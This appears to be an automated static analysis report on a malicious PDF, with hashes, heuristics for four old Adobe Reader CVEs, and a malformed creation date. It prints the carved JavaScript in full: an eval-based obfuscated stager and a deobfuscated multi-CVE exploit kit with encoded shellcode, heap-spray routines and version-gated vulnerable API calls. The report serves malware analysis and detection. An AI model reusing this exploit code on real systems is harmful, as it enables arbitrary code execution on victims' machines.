Malicious PDF — malware analysis report

Static analysis result for SHA-256 3836fd9cf1e0842b…

MALICIOUS

PDF

1.95 MB Created: 2011-72-51 03:25:00 First seen: 2012-10-11
MD5: 402d2d10ca206b2935e7e6865973193a SHA-1: b103616fb57116bb564e9a2c448ed99859d12c9e SHA-256: 3836fd9cf1e0842b3e4cafd705ef7684bf41fbea05bc0c5590b0a93bc696eff7
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream includes an eval() call, suggesting code obfuscation and dynamic execution. The extracted artifact 'javascript_obj0001_000.js' is likely the source of this malicious script. The primary function appears to be executing obfuscated JavaScript, which is a common technique for delivering second-stage payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      jwwd=eval(i.replace('qw','')+'al');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x6141 510 bytes
SHA-256: fcc5f469fe2934d8aa539d946e268f7d89c224a4bfd2984069689a610387a1d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var dnjv='';
var qwev=this.producer.substr(0,4);
for(var i in this) {
	if (i=='qwev')
		jwwd=eval(i.replace('qw','')+'al');
}
geqkz = jwwd('new Date(2007,2,51,2,12,5)');
gfz = 'thi'+geqkz.getHours()+'ducer';
ugv=jwwd(gfz.replace(2,'s.pro'));
ugv = ugv.replace(/t/g,'2');
ar = ugv.substr(4).split('q');
var s = '';
w = geqkz.getHours()*2;
gfz='StringevaarCode';
pwxye=jwwd(gfz.replace('eva','.fromCh'));
for (i = 0; i < ar.length; i++) {
	ujun = jwwd(ar[i]);
	s += pwxye(ujun);
}
jwwd(s);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer q-arithmetic JavaScript at offset 0x23 3636 bytes
SHA-256: ade5aa371e7385b6e0d094b069401ee4e278e419c2bdcb1331bacd1780b66072
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8534%ue2aa%uc3fa%ue5e8%uffff%u6cff%u8489%u8585%u04db%ud969%u8584%u0c85%u0862%u95ca%uea08%ub4d1%ud25e%ud6d4%ud6d6%ud6d6%ud6d6%ud6d0%uedd6%u8481%u8585%ud3d0%uedd6%uebea%u8585%uf0ed%ue9f7%ud1e8%u0bed%u8bcb%u6d69%u85cd%u8585%u6dd5%u85f9%u8585%u557a%u4106%ued8d%u6aca%u80ca%u6dd5%u85e9%u8585%u557a%u4500%u92f0%ud1ef%u76dc%ued2f%u7bf7%u9336%u986d%u8585%ud585%ud46d%u8585%u7a85%ud655%u7bef%u0ced%u84ea%u6d38%u858d%u8585%u6dd5%u85b9%u8585%u557a%ub4e5%ue145%ud50e%u0eb5%u89d7%ud70e%u0e91%uadf7%u9d3c%u8585%ub485%ub47a%u2945%ue4b9%u87f9%ua5a9%u4a44%u8488%u6742%u0475%ude7a%ucf39%u0eef%u95c7%u970e%u5cf0%uc10c%u99a1%u46e4%u0ee5%ua1e9%u0ea1%ub9c0%ud10e%ufd80%u6f84%ucf0e%u0e9d%ua5df%u6e84%ub166%u0ecc%u0eb1%u6b84%u7ab4%u45b4%u2979%u4501%u82f1%u4a44%u8488%u6e42%ube71%ua1f9%uf0ad%u0e64%ua1df%u6e84%u0ee3%uce89%udf0e%u8499%u0e6e%u0e81%u6d84%uc10c%u99a1%u47e4%u858d%u6a6d%u7a7b%ued7a%uf1f1%ubff5%uaaaa%ub0f6%uf0fd%ue6ab%uabea%ue6e6%ue1aa%uf5ab%uf5ed%ue3ba%ub4b8%ua3b3%ub8e0%u85b6';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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